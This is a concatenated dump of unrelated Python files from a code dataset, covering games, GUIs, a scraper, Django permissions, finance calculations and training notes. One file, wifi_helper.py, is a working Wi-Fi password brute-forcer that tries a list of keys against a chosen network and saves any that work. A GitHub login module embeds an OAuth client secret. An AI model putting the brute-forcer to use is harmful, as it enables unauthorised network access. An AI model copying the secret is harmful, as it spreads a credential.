10 * (lastFoodNum - presentFoodNum)\n\n # 储存我的四邻域食物情况\n self.lastNeighbor = []\n food = gameState.getFood()\n legalNeighbors = Actions.getLegalNeighbors(pacman, self.walls)\n for i in range(len(legalNeighbors)):\n x, y = legalNeighbors[i]\n if food[x][y] == True:\n self.lastNeighbor.append((x, y))\n\n return eatenPenalty + eatFoodReward + foodDecreaseReward\n\n def getPolicy(self, state):\n return self.computeActionFromQValues(state)\n\n def getValue(self, state):\n return self.computeValueFromQValues(state)\n\n def getWeights(self):\n return self.weight\n\n def saveWeights(self, gameState):\n if len(gameState.getFood().asList()) or gameState.data.time >= 1190:\n f = open(\"train.txt\", \"w\")\n for key in self.weight.keys():\n value = str(self.weight[key])\n toPrint = key + ':' + value\n print(toPrint, file=f)\n\n def readWeights(self):\n self.weight = Counter()\n with open(\"train.txt\", \"r\") as f:\n for line in f.readlines():\n content = line.split(':')\n self.weight[content[0]] = float(content[1])\n with open(\"epsilon.txt\", \"r\")as f:\n self.epsilon = float(f.read())\n\nclass TutoredRLAgent(ReinforcementAgent):\n def update(self, state):\n ReinforcementAgent.update(self, state)\n if self.receivedBroadcast != None:\n features, rewards, lastFeatures = self.receivedBroadcast\n difference = rewards + self.gamma * (self.weight * features) - self.weight * lastFeatures\n for feature in lastFeatures:\n self.weight[feature] += self.alpha / 2 * difference * lastFeatures[feature]\n\n\n\ndef actionsWithoutStop(legalActions):\n \"\"\"\n Filters actions by removing the STOP action\n \"\"\"\n legalActions = list(legalActions)\n if Directions.STOP in legalActions:\n legalActions.remove(Directions.STOP)\n return legalActions\n\n\ndef actionsWithoutReverse(legalActions, gameState, agentIndex):\n \"\"\"\n Filters actions by removing REVERSE, i.e. the opposite action to the previous one\n \"\"\"\n legalActions = list(legalActions)\n reverse = Directions.REVERSE[gameState.getAgentState(agentIndex).configuration.direction]\n if len(legalActions) > 1 and reverse in legalActions:\n legalActions.remove(reverse)\n return legalActions\n","sub_path":"PacPack_Fall_2018/myAgent.py","file_name":"myAgent.py","file_ext":"py","file_size_in_byte":14379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"550326691","text":"import tkinter as tk\r\nimport cv2 as cv\r\nimport tensorflow as tf\r\nfrom tkinter import filedialog #文件打开\r\nfrom model_reload import net_structure\r\nimport numpy as np\r\nfrom PIL import ImageTk,Image,ImageGrab\r\n\r\nfilename = None\r\n\r\n#网络结构与模型加载\r\nnet = net_structure()\r\n\r\n#画图方法\r\ndef paint(event):\r\n canv.create_rectangle(event.x,event.y,event.x+5,event.y+5,fill=\"black\")\r\n\r\n#画板清空方法\r\ndef clear_all():\r\n\r\n canv.create_rectangle(0,0,200,200,fill='white')\r\n v.set(\" \")\r\n label1.update()\r\n\r\n#识别方法\r\ndef recognition():\r\n img = ImageGrab.grab((window.winfo_x()+840,window.winfo_y()+33,window.winfo_x()+824+204,window.winfo_y()+233))\r\n img.save('1.png')\r\n\r\n img1 = cv.imread('1.png')\r\n img1 = cv.resize(img1,(28,28))\r\n img_res = cv.cvtColor(img1,cv.COLOR_RGB2GRAY)\r\n #二值化\r\n ret,binary1 = cv.threshold(img_res,0,255,cv.THRESH_BINARY|cv.THRESH_TRIANGLE)\r\n for i in range(28):\r\n for j in range(28):\r\n binary1[i][j]=255-binary1[i][j]\r\n #cv.imshow(\"4\",binary1)\r\n\r\n #平滑滤波\r\n blu_img = cv.blur(binary1,(5,5))\r\n\r\n #img_res = cv.blur(img_res,(5,5))\r\n res = np.reshape(blu_img,784)\r\n y_pre = tf.argmax(net.prediction,1)\r\n predint = y_pre.eval(feed_dict={net.xs:[res],net.keep_prob:1},session=net.sess)\r\n\r\n v.set(str(predint[0]))\r\n label1.update()\r\n\r\n#图片打开\r\ndef open_img():\r\n global filename\r\n global o_img\r\n filename = filedialog.askopenfilename(title=u'选择文件')\r\n o_img = Image.open(filename)\r\n o_img = o_img.resize((200,200))\r\n o_img = ImageTk.PhotoImage(o_img)\r\n\r\n canv.create_image(100,100,image=o_img)\r\n\r\n\r\n#窗口设置\r\nwindow = tk.Tk()\r\nscreenwidth = window.winfo_screenwidth()\r\nscreenheight = window.winfo_screenheight()\r\nsize = '%dx%d+%d+%d' % (1024, 618, (screenwidth - 1024)/2, (screenheight - 618)/2)\r\nwindow.resizable(False,False)#大小不可变\r\nwindow.config(bg='AliceBlue')\r\nwindow.geometry(size)\r\nwindow.iconbitmap(\"图标.ico\")\r\nv = tk.StringVar()\r\n\r\n#画布设置\r\ncanv = tk.Canvas(window,width=200,height=200,bg='white')\r\n\r\n# if filename == None:\r\n# print(\"ddd\")\r\n# pass\r\n# else:\r\n# o_img = Image.open('1.png')\r\n# o_img = o_img.resize((200,200))\r\n# o_img = ImageTk.PhotoImage(o_img)\r\n# canv.create_image(100,100,image=o_img)\r\n\r\n# o_img = Image.open('1.png')\r\n# o_img = o_img.resize((200,200))\r\n# o_img = ImageTk.PhotoImage(o_img)\r\n# canv.create_image(100,100,image=o_img)\r\n\r\ncanv.place(x=824,y=0)\r\ncanv.bind('',paint)\r\n\r\n#画布2设置\r\ncanv1 = tk.Canvas(window,width=826,height=618,bg='AliceBlue')\r\nimg_path = \"模型结构图2.png\"\r\nimg = Image.open(img_path)\r\nphoto = ImageTk.PhotoImage(img)\r\ncanv1.create_image(411,250,image=photo)\r\ncanv1.create_line(823,0,823,618,width=3,fill='gray')\r\ncanv1.create_text((410,520),text=\"网络---结构图\",font=(\"楷体\",20))\r\ncanv1.place(x=0,y=0)\r\n\r\n#按钮设置\r\nbutton1 = tk.Button(window,text='清空',width=10,height=1,command=clear_all)\r\nbutton2 = tk.Button(window,text='识别',width=10,height=1,command=recognition)\r\nbutton3 = tk.Button(window,text='打开图片',width=10,height=1,command=open_img)\r\nbutton1.place(x=890,y=210)\r\nbutton2.place(x=890,y=250)\r\nbutton3.place(x=890,y=290)\r\n\r\n#文本窗口\r\nlabel = tk.Label(window,text=\"识别结果为:\",width=13,height=1,bg='AliceBlue',font=(\"宋体\",13))\r\nlabel.place(x=830,y=330)\r\n\r\n#text 窗口\r\nlabel1 = tk.Label(window,textvariable=v,width=6,height=1,font=(\"宋体\",13))\r\nlabel1.place(x=940,y=330)\r\n\r\nwindow.mainloop()\r\n","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"336900335","text":"import os\n\n# Intro to CLI\nprint(\"Welcome to Director!\\n\\nUse this tool to automatically find files and copy them to a new folder.\")\n\n# Allows you to specificy a sub folder\nsource_path = './' + raw_input(\"Enter the source directory (blank if already there): \")\n\n# Choose a name for the folder you want to move the new files to\ntarget_path = './' + raw_input(\"Enter a name for the new folder: \")\n\n# Creates that new folder\nos.mkdir(target_path)\n\n# Choose the search term to grab target files with\nkeyword = raw_input(\"Enter the file keyword you wish to target: \")\n\n# Create a list of all the files in the\nall_files = os.listdir(source_path)\n\n# filter out the files that match your keyword -- lower the case the it is case insensitive\nto_relocate = [file for file in all_files if keyword.lower() in file.lower()]\n\n# iterate over the name matches and move the files, while keeping track of how many\nfile_count = 0\n\nfor file in to_relocate:\n os.rename(source_path + '/' + file, target_path + '/' + file)\n file_count += 1\n\nprint(\"\\n\\n\\n-------------------------------------------\")\nprint(\"Director successfully relocated \" + str(file_count) + \" files\")\nprint(\"-------------------------------------------\")\nfor file in to_relocate:\n print(file)\n","sub_path":"director.py","file_name":"director.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"72676057","text":"\n\nfrom xai.brain.wordbase.nouns._tracing import _TRACING\n\n#calss header\nclass _TRACINGS(_TRACING, ):\n\tdef __init__(self,): \n\t\t_TRACING.__init__(self)\n\t\tself.name = \"TRACINGS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"tracing\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_tracings.py","file_name":"_tracings.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"508134070","text":"import pywifi\nfrom pywifi import *\nimport time\n\n\nclass WifiHelper:\n def __init__(self, wait_time):\n self.wait_time = wait_time\n self.wifi = pywifi.PyWiFi()\n self.interfaces = self.wifi.interfaces()\n self.interface = self.interfaces[0]\n self.status = self.interface.status()\n scan_results = self.interface.scan_results()\n ssid_list = []\n for result in scan_results:\n ssid_list.append((result.ssid, result.signal))\n self.ssid_list = sorted(ssid_list, key=lambda r: r[1], reverse=True)\n\n def print_wifi_info(self):\n print(\"网卡状态\", self.status)\n print(\"序号 wifi名字 信号值\")\n index = 0\n for ssid in self.ssid_list:\n print(index, \" \", ssid[0], \" \", ssid[1])\n index += 1\n\n def get_ssid_by_index(self, index):\n return self.ssid_list[index][0]\n\n def run_keys(self, ssid_index, keys):\n ssid = self.ssid_list[ssid_index][0]\n for key in keys:\n print(key)\n if self.connect(ssid, key):\n return True\n return False\n\n def connect(self, ssid, key):\n pf = pywifi.Profile()\n pf.ssid = ssid\n pf.auth = const.AUTH_ALG_OPEN\n pf.akm.append(const.AKM_TYPE_WPA2PSK)\n pf.cipher = const.CIPHER_TYPE_CCMP\n pf.key = key\n self.interface.remove_all_network_profiles()\n tmp_profile = self.interface.add_network_profile(pf)\n self.interface.connect(tmp_profile)\n time.sleep(self.wait_time)\n if self.interface.status() == const.IFACE_CONNECTED:\n self.save_file(ssid, key)\n print(\"密码 \", key, \" 已保存到wifi.txt\")\n return True\n self.interface.disconnect()\n return False\n\n @staticmethod\n def save_file(ssid, pw):\n file = open(\"wifi.txt\", \"a+\")\n file.write(\"\\nssid:\")\n file.write(ssid)\n file.write(\"\\n密码:\")\n file.write(pw)\n","sub_path":"WiFiHelper/wifi_helper.py","file_name":"wifi_helper.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"611931567","text":"import numpy as np\nimport cv2\n\ndef overlay_rect_with_opacity(overlaid_image, rect):\n x, y, w, h = rect\n sub_img = overlaid_image[y:y+h, x:x+w]\n white_rect = np.ones(sub_img.shape, dtype=np.uint8) * 255\n\n res = cv2.addWeighted(sub_img, 0.5, white_rect, 0.5, 1.0)\n\n # Putting the image back to its position\n overlaid_image[y:y+h, x:x+w] = res","sub_path":"pikapi/utils/opencv.py","file_name":"opencv.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"371908564","text":"from collections import defaultdict\nfrom itertools import chain\n\nfrom django.db.models import Q\n\nfrom restraint import models\n\n\n# A global variable for holding the configuration of django restraint\nRESTRAINT_CONFIG = {}\n\n\ndef register_restraint_config(restraint_config):\n RESTRAINT_CONFIG.clear()\n RESTRAINT_CONFIG.update(restraint_config)\n\n\ndef get_restraint_config():\n if RESTRAINT_CONFIG:\n return RESTRAINT_CONFIG\n else:\n raise RuntimeError('No restraint config has been registered')\n\n\ndef update_restraint_db(flush_default_access=False):\n \"\"\"\n Updates the restraint db based on the restraint config.\n Can optionally flush the previous default access configuration.\n \"\"\"\n config = get_restraint_config()\n models.PermSet.objects.sync_perm_sets(config['perm_sets'])\n updated_perms, new_perms = models.Perm.objects.sync_perms(config['perms'])\n models.PermLevel.objects.sync_perm_levels(config['perms'])\n models.PermAccess.objects.update_perm_set_access(config.get('default_access', {}), new_perms, flush_default_access)\n\n\nclass Restraint(object):\n \"\"\"\n The primary way of accessing permissions. The programmer loads a restraint object with the\n permission object and which permissions they want to load. One permissions are loaded for\n that account, the user may check if a user has certain permissions and also restrict\n querysets based on access levels that a user has.\n \"\"\"\n def __init__(self, user, which_perms=None):\n \"\"\"\n Initializes the Restraint object.\n\n :type user: Any object\n :param user: A user in a project\n\n :type which_perms: list\n :param which_perms: The permissions to be loaded for the user, or all permissions if None.\n \"\"\"\n self._config = get_restraint_config()\n self._user = user\n self._load_perms(user, which_perms)\n\n @property\n def perms(self):\n return self._perms\n\n def _load_perms(self, account, which_perms):\n perm_set_names = self._config['perm_set_getter'](account)\n perm_levels = models.PermLevel.objects.filter(\n Q(permaccess__perm_set__name__in=perm_set_names) | Q(\n permaccess__perm_user_id=account.id,\n permaccess__perm_user_type__app_label=account._meta.app_label,\n permaccess__perm_user_type__model=account._meta.model_name)).select_related('perm')\n if which_perms:\n perm_levels = perm_levels.filter(perm__name__in=which_perms)\n\n self._perms = defaultdict(dict)\n for l in perm_levels:\n self._perms[l.perm.name].update({\n l.name: self._config['perms'][l.perm.name]['levels'][l.name]['id_filter']\n })\n\n def has_perm(self, perm, level=None):\n \"\"\"\n Returns true if the restraint object has the perm. If a level is not specified, it returns\n true if that perm exists for any level.\n\n :type perm: string\n :param perm: The permission to check\n\n :type level: string\n :param level: The level to check, or any level if None\n \"\"\"\n return perm in self._perms and level in self._perms[perm] if level else perm in self._perms\n\n def filter_qset(self, qset, perm, restrict_kwargs=None):\n \"\"\"\n Given a permission, filter the queryset by its levels.\n\n :type qset: A Django QuerySet\n :param qset: The queryset to be filtered\n\n :type perm: string\n :param perm: The permission over which to do the filtering\n \"\"\"\n if not self.has_perm(perm):\n # if this restraint only protects a certain subset of the queryset, return the rest\n if restrict_kwargs is not None:\n return qset.exclude(**restrict_kwargs)\n # else return nothing\n else:\n return qset.none()\n elif None in self._perms[perm].values():\n # If any levels are none, return the full queryset\n return qset\n else:\n # Filter the queryset by the union of all filters\n return qset.filter(id__in=set(chain(*[l(self._user) for l in self._perms[perm].values()])))\n","sub_path":"restraint/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"355568303","text":"import pandas as pd\nimport numpy as np\nfrom babel.numbers import format_currency, format_decimal, default_locale\nfrom decimal import Decimal\n\n\nclass Calculation:\n def __init__(self, data):\n self.account_number = data[\"account_number\"]\n self.months_to_maturity = data[\"months_to_maturity\"]\n self.amortization_term = data[\"amortization_term\"]\n self.payment_type = data[\"payment_type\"]\n self.coupon_type = data[\"coupon_type\"]\n self.recovery_lag = data[\"recovery_lag\"]\n self.bank_balance = data[\"bank_balance\"]\n self.expected_cf = data[\"expected_cf\"]\n self.carrying_value = data[\"carrying_value\"]\n self.lgd = data[\"lgd\"]\n self.smm = data[\"smm\"]\n self.cdr = data[\"cdr\"]\n self.discount_rate = data[\"discount_rate\"]\n self.coupon_rate = data[\"coupon_rate\"]\n\n @property\n def _raw_actual_total(self):\n expected_default = self.bank_balance * self.cdr\n expected_principal = -np.ppmt(self.coupon_rate / 12, 1, self.months_to_maturity, self.bank_balance -\n expected_default)\n expected_interest = (self.bank_balance - expected_default) * (self.coupon_rate / 12)\n prepaid_principal = (self.bank_balance - expected_default - expected_principal) * self.smm\n ending_principal = (self.bank_balance - expected_default - expected_principal - prepaid_principal)\n recovery = 0\n expected_cash_flows = (expected_principal + expected_interest + prepaid_principal)\n pv_of_cash_flows = expected_cash_flows / (1 + (self.discount_rate / 12))\n\n # Create data frame top row\n initial_cf = [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]\n cf_df = pd.DataFrame(initial_cf, columns=['Period', 'Beginning Principal', 'Expected Default',\n 'Expected Principal', 'Interest Rate', 'Expected Interest',\n 'Prepaid Principal', 'Ending Principal', 'Recovery',\n 'Expected Cash Flows', 'PV of Cash Flows'])\n\n # Append period 1 CF\n append_df = [[1, self.bank_balance, expected_default, expected_principal,\n self.coupon_rate, expected_interest, prepaid_principal, ending_principal, recovery,\n expected_cash_flows, pv_of_cash_flows]]\n append_df_mod = pd.DataFrame(append_df, columns=['Period', 'Beginning Principal', 'Expected Default',\n 'Expected Principal', 'Interest Rate', 'Expected Interest',\n 'Prepaid Principal', 'Ending Principal', 'Recovery',\n 'Expected Cash Flows', 'PV of Cash Flows'])\n cf_df_appended = cf_df.append(append_df_mod, ignore_index=True)\n # loop\n count = 0\n while count < self.months_to_maturity - 1:\n period = int(cf_df_appended[\"Period\"].tail(1)) + 1\n bank_balance = Decimal(float(cf_df_appended[\"Ending Principal\"].tail(1)))\n expected_default = bank_balance * self.cdr\n expected_principal = -np.ppmt(self.coupon_rate / 12, 1, self.months_to_maturity - period + 1,\n bank_balance - expected_default)\n expected_interest = (bank_balance - expected_default) * (self.coupon_rate / 12)\n prepaid_principal = (bank_balance - expected_default - expected_principal) * self.smm\n ending_principal = (bank_balance - expected_default - expected_principal - prepaid_principal)\n recovery = 0\n expected_cash_flows = (expected_principal + expected_interest + prepaid_principal)\n pv_of_cash_flows = expected_cash_flows / ((1 + (self.discount_rate / 12)) ** period)\n append_df2 = [[period, bank_balance, expected_default, expected_principal,\n self.coupon_rate, expected_interest, prepaid_principal, ending_principal, recovery,\n expected_cash_flows, pv_of_cash_flows]]\n append_df2_mod = pd.DataFrame(append_df2, columns=['Period', 'Beginning Principal', 'Expected Default',\n 'Expected Principal', 'Interest Rate',\n 'Expected Interest',\n 'Prepaid Principal', 'Ending Principal', 'Recovery',\n 'Expected Cash Flows', 'PV of Cash Flows'])\n cf_df_appended = cf_df_appended.append(append_df2_mod, ignore_index=True)\n count += 1\n return pd.DataFrame(cf_df_appended, columns=['Period', 'Beginning Principal', 'Expected Default',\n 'Expected Principal', 'Interest Rate',\n 'Expected Interest',\n 'Prepaid Principal', 'Ending Principal', 'Recovery',\n 'Expected Cash Flows', 'PV of Cash Flows'])\n\n @property\n def _cf_df_appended_df(self):\n return str(np.nansum(self._raw_actual_total[\"Expected Cash Flows\"]))\n\n def _format_as_dollars(self, value):\n return format_currency(value, \"USD\", locale=\"en_US\")\n\n def _format_as_decimal(self, value):\n return int(value)\n\n @property\n def actual_total(self):\n # expected cf at the moment\n return self._format_as_dollars(self._cf_df_appended_df)\n\n def appended_df(self):\n return self._raw_actual_total\n\n @property\n def _raw_inflation_adjusted_total(self):\n return str(np.nansum(self._raw_actual_total[\"PV of Cash Flows\"]))\n\n @property\n def inflation_adjusted_total(self):\n return self._format_as_dollars(self._raw_inflation_adjusted_total)","sub_path":"individual_cf/calculation.py","file_name":"calculation.py","file_ext":"py","file_size_in_byte":6070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"437753077","text":"# -*- coding:utf-8 -*-\n# @Time: 2019-09-15 22:32\n# @Author: duiya duiyady@163.com\n\n\n\"\"\"\n将一个给定字符串根据给定的行数,以从上往下、从左到右进行 Z 字形排列。\n比如输入字符串为 \"LEETCODEISHIRING\" 行数为 3 时,排列如下:\nL C I R\nE T O E S I I G\nE D H N\n你的输出需要从左往右逐行读取,产生出一个新的字符串,比如:\"LCIRETOESIIGEDHN\"\n\"\"\"\n\n\ndef convert(s, numRows):\n if numRows == 1:\n return s\n result = []\n one_line = 2*numRows-2\n i = 0\n while i < len(s):\n result.append(s[i])\n i = i + one_line\n for i in range(1, numRows-1):\n flag = 0 # 0���示单数, 1表示奇数\n j = i\n add_0 = 2 * (numRows - 1 - i)\n add_1 = 2 * i\n while j < len(s):\n result.append(s[j])\n if flag == 0:\n j = j + add_0\n flag = 1\n else:\n j = j + add_1\n flag = 0\n i = numRows-1\n while i < len(s):\n result.append(s[i])\n i = i + one_line\n return ''.join(result)\n\n\nif __name__ == '__main__':\n print(convert('\"PAYPALISHIRIdasfgaNG',5))\n","sub_path":"src/main/num001_100/6_Z字形变换.py","file_name":"6_Z字形变换.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"519218836","text":"# -*- coding : utf-8 -*- \n'''\n@Author: Tomas Wu\nDate: 2019-01-29 22:31:26\n@Desc: this is a spyder for fetching the data of entrance score line for college entrance examination. \n'''\n# import urllib,re\n\n# the goal web:\n# http://college.gaokao.com/schpoint/a16/p1\n\n# def getHTML(url):\n# f=urllib.request.urlopen(url)\n# print(f.read().decode('gbk'))\n# It is sad that the urlopen can't deal with the ajax.\n\nfrom selenium import webdriver\nimport re,time,json\nimport multiprocessing as mpi\nimport os\n\ndef getContent(url,m=0,*args, **kwargs):\n opt=webdriver.FirefoxOptions()\n opt.headless=True # headless mode.\n prf=webdriver.FirefoxProfile()\n # prf.set_preference('permissions.default.image',2) #not loading image.\n # It is very weird that browser can't stop connection with the server if not loading images.\n browser=webdriver.Firefox(options=opt,firefox_profile=prf)\n browser.implicitly_wait(30)\n browser.get(url)\n # the parameter m means getting the college info (m=0) or scores info (m=1). \n if m==0:\n content=browser.find_element_by_class_name('scores_List').get_attribute('outerHTML')\n elif m==1:\n content=browser.find_element_by_id('pointbyarea').get_attribute('outerHTML')\n browser.quit()\n return content\n\n\ndef parseContent(content,m=0,*args, **kwargs):\n result=[]\n if m==0:\n r=r'
.*?
'\n total_data=re.findall(r,content,re.DOTALL)\n for i in total_data:\n college=re.findall(r'k\\\">.{,20}?.*?.{1,15}?<',i)]\n keys=['年份','最低','最高','平均','录取人数','录取批次']\n ye={}\n for i in range(len(keys)):\n try:\n ye[keys[i]]=data[i]\n except:\n ye[keys[i]]='------'\n data_json=json.dumps(ye)\n result.append(data_json)\n return result\n\ndef save_data(data):\n print('saving data...')\n with open('saved_data.txt','a',encoding='utf-8') as t:\n t.write(json.dumps(data)+'\\n')\n print('Done')\n\n\n# test url:'http://college.gaokao.com/school/tinfo/34/result/16/2/'\n \ndef urls():\n for i in range(1,4):\n yield 'http://college.gaokao.com/schpoint/a16/p{}'.format(i)\n\ndef process(i):\n print('I am %s, satrt work'%(os.getpid()))\n d=getContent(i)\n pd=parseContent(d)\n print('I am {},have {} urls to fetch.'.format(os.getpid(),len(pd)))\n for j in range(len(pd)):\n ur=pd[j][-1]\n print('{} fetching {}'.format(os.getpid(),ur))\n try:\n pd[j].append(parseContent(getContent(ur,1),1))\n except:\n print('fetch error {}'.format(ur))\n continue\n print('I am {},saving data.'.format(os.getpid()))\n pd_json={}\n for i in range(len(pd)):\n pd_json['college'+str(i)]=pd[i]\n return pd_json\n\nif __name__==\"__main__\":\n \n # p=[mpi.Process(target=process,args=(i,),daemon=True) for i in urls()]\n # for i in p:\n # i.start()\n # i.join()\n # print('all done!') \n\n p=mpi.Pool()\n [p.apply_async(process,(i,),callback=save_data) for i in urls()]\n p.close()\n p.join()\n print('all done!')\n\n\n \n","sub_path":"spider/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":3693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"10375559","text":"# Copyright 2013 Jake Basile\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Handles authentication to the Github API v3.\"\"\"\n\nfrom __future__ import print_function\nimport json\nimport urlparse\nimport getpass\nimport base64\nimport os.path\nimport requests\n\nCLIENT_ID = '3ce2846348573b3e08b3'\nCLIENT_SECRET = '0883a9d4842b6da210d79bc3322c31c2bffd2bc5'\n\ndef init_subparser(subparsers):\n login = subparsers.add_parser('login', help='Login to GitHub.')\n login.set_defaults(func=perform_login)\n\ndef perform_login(args):\n if os.path.exists(os.path.expanduser('~/.ghcl')):\n print('Already logged in. Please delete ~/.ghcl to change users.')\n return\n if args.user != None:\n print('Cannot authenticate as another user.')\n return\n if args.org != None:\n print('Cannot authenticate as an organization.')\n return\n request_url = urlparse.urljoin(args.uri, '/authorizations')\n payload = {\n 'scopes': ['user','repo','gist'],\n 'client_id': CLIENT_ID,\n 'client_secret': CLIENT_SECRET,\n }\n un = raw_input('Github Username: ')\n pw = getpass.getpass('Github Password: ')\n unpw = base64.b64encode('%s:%s' % (un, pw))\n result = requests.post(\n request_url,\n headers = {\n 'Authorization': 'Basic ' + unpw,\n 'Accept': 'application/json',\n 'Content-Type': 'application/json',\n },\n data=json.dumps(payload),\n )\n if result.status_code != 201:\n print('Something went wrong, try again.')\n print(result.reason)\n else:\n token = result.json()['token']\n with open(os.path.expanduser('~/.ghcl'), 'w') as cache:\n print(token, file=cache)\n print(un, file=cache)\n print('Logged in.')\n\ndef get_token():\n path = os.path.expanduser('~/.ghcl')\n if os.path.exists(path):\n with open(path, 'r') as cache:\n return cache.readline().strip()\n print('Please login first.')\n return None\n\ndef get_user():\n path = os.path.expanduser('~/.ghcl')\n if os.path.exists(path):\n with open(path, 'r') as cache:\n cache.readline()\n return cache.readline().strip()\n print('Please login first')\n return None\n","sub_path":"ghcl/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"481037359","text":"from flask import Flask, render_template, request\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n\n\ndef randWord(): \n import requests\n import random\n dictionary = requests.get('http://norvig.com/ngrams/sowpods.txt').text \n listOfWords = dictionary.split() # create a list of words from dictionary\n choice = random.choice(listOfWords) # chose a random word from the list of words\n return choice\nword = randWord()\nlength = len(word)\n\n# convert the word to a dictionary, where the keys are numbers 0 to length and the values are the \n# letters that correspond to that number\n# eg. word = \"cats\" ---> wordDict = {0:'c', 1:'a', 2:'t', 3:'s'}\n## wordDict = {letter: word[letter] for letter in list(range(length))}\n\n# create list of empty spaces the length of the word to be guessed, \n# this will be the argument that goes into the guessLetter() function\nwordGuessBlank = []\nfor i in list(range(length)): \n wordGuessBlank.append('_')\n i = i # not necessary, but prevents the unused variable error\n\n# a function that makes the list of letters pretty by removing [] and commas\ndef prettifyList(wordGuessBlank):\n wordGuessOut = \" \".join(wordGuessBlank) # this one has spaces, to make it look nice when printing out hangman word for the game\n return (wordGuessOut) \nblankSpaces = prettifyList(wordGuessBlank)\n\n\n@app.route(\"/play\", methods=[\"POST\",\"GET\"])\ndef play():\n username = request.form.get(\"name\")\n if not request.form.get(\"name\"):\n return \"failure to enter username\"\n else:\n pass\n\n return render_template(\"play.html\",name=username,word=word,blankSpaces=blankSpaces)\n\n\n@app.route(\"/continue\", methods=[\"POST\",\"GET\"])\ndef continuePlay():\n letter = request.form.get(\"q\")\n if not letter:\n return \"You must guess a letter.\"\n else:\n pass\n return render_template(\"continue.html\",letter=letter,blankSpaces=blankSpaces,word=word)\n\n\n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"85391080","text":"\"\"\"\nnohup python3 -u apply.py --dataroot /opt/data/private/datasets/mgtv/apply/A --name mgtv_mgtv2_05_31_16_42 --model mgtv2 --block_size 2_2 --load_epoch epoch_500 --scenedetect True --ch1 72 --ch2 48 >> /opt/data/private/mgtv2_epoch500_scenedetect.log 2>&1 &\nnohup python3 -u apply.py --dataroot /opt/data/private/datasets/mgtv/apply/A --name mgtv_mgtv2_05_31_16_42 --model mgtv2 --block_size 2_2 --load_epoch epoch_1000 --scenedetect True --ch1 72 --ch2 48 >> /opt/data/private/mgtv2_epoch1000_scenedetect.log 2>&1 &\nnohup python3 -u apply.py --dataroot /opt/data/private/datasets/mgtv/apply/A --name mgtv_mgtv2_05_31_16_42 --model mgtv2 --block_size 2_2 --load_epoch epoch_2000 --scenedetect True --ch1 72 --ch2 48 >> /opt/data/private/mgtv2_epoch2000_scenedetect.log 2>&1 &\nnohup python3 -u apply.py --dataroot /opt/data/private/datasets/mgtv/apply/A --name mgtv_mgtv2_05_31_16_42 --model mgtv2 --block_size 2_2 --load_epoch epoch_3000 --scenedetect True --ch1 72 --ch2 48 >> /opt/data/private/mgtv2_epoch3000_scenedetect.log 2>&1 &\n\nnohup python3 -u apply.py --dataroot /opt/data/private/datasets/mgtv/apply/A --name mgtv_mgtv2_large_06_06_11_49 --model mgtv2 --block_size 2_2 --load_epoch epoch_3000 --scenedetect True --ch1 64 --ch2 64 >> /opt/data/private/mgtv2_large_epoch3000_scenedetect.log 2>&1 &\n\ndataset_images2video(datasetpath=\"./results/mgtv_mgtv2_05_31_16_42/apply-A-epoch_3000-block_size_2_2\", fps=25, suffix=\".y4m\")\ndataset_images2video(datasetpath=\"./results/mgtv_mgtv2_large_06_06_11_49/apply-A-epoch_3000-block_size_2_2\", fps=25, suffix=\".y4m\")\n\naimax:\n gpu:\n\n v1:\n python3 train.py\n --dataroot /opt/data/private/datasets/mgtv\n --name mgtv_mgtv2\n --model mgtv2\n --display_freq 2400\n --print_freq 240\n --save_epoch_freq 500\n --gpu_ids 0,1,2\n --batch_size 12\n --suffix 05_31_16_42\n --crop_size 256\n --imgseqlen 5\n --seed 1\n --max_consider_len 125\n --scenedetect True\n --ch1 72\n --ch2 48\n --num_threads 11\n --continue_train True\n --load_epoch epoch_2000\n --epoch_count 2001\n\n v2:\n python3 train.py\n --dataroot /opt/data/private/datasets/mgtv\n --name mgtv_mgtv2_large\n --model mgtv2\n --display_freq 2700\n --print_freq 270\n --save_epoch_freq 500\n --gpu_ids 0,1,2\n --batch_size 9\n --suffix 06_06_11_49\n --crop_size 256\n --imgseqlen 5\n --seed 1\n --max_consider_len 125\n --scenedetect True\n --ch1 64\n --ch2 64\n --num_threads 11\n\"\"\"\nimport torch\nfrom .base_model 